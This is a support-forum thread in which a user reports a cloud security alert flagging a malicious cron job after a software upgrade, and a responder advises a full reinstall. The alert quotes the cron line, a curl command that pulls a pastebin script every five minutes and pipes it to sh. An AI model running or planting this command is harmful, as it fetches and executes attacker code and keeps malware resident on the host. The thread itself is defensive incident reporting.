Problem:Malicious script after upgrading 7.14.3.
Environment: deploy using docker.
ECS abnormal alarm:
Malicious script path: /var/spool/cron/conference1.
Malicious script tag: remote load command, malicious scheduled task persistence, remote load command, kill competitor process.
File creation time: 2021-09-05 12:40:46
Event description: the detection model finds that there is a malicious script file on your server, which is most likely implanted by an attacker after successfully invading the server. It is recommended that you check the legitimacy of the file content according to the label of the malicious script and handle it.
Type: crontabitem
Path: /var/spool/cron/conference1
Content: */5 * * * * curl -fssl https://pastebin.com/raw/rH3ZHAvC | sh
Event description: the cloud security center has detected that there is an abnormal self startup item on your host, which is most likely implanted by malware or hackers to keep the malicious program resident. If these self starting items are not handled, the malicious program is likely to be implanted again. Therefore, it is recommended that you use "virus defense" to comprehensively scan and clean the host, or handle it manually according to the details in the alarm.
Hi @yangkangwei
from what you stated it looks like your server has been compromised. Please note that a cleaning might not be sufficient and the attacker could have left some backdoor allowing him to come back.
From my point of few a reinstallation of the virtual machine would be the safest way to ensure a clean system. Then you would need to inspect carefully backups and restore your instance from a backup.
Regards,
Daniel
Do you have a brother to help us see how to solve this problem? Thank you
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
Online forums and learning are now in one easy-to-use experience.
By continuing, you accept the updated Community Terms of Use and acknowledge the Privacy Policy. Your public name, photo, and achievements may be publicly visible and available in search engines.
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.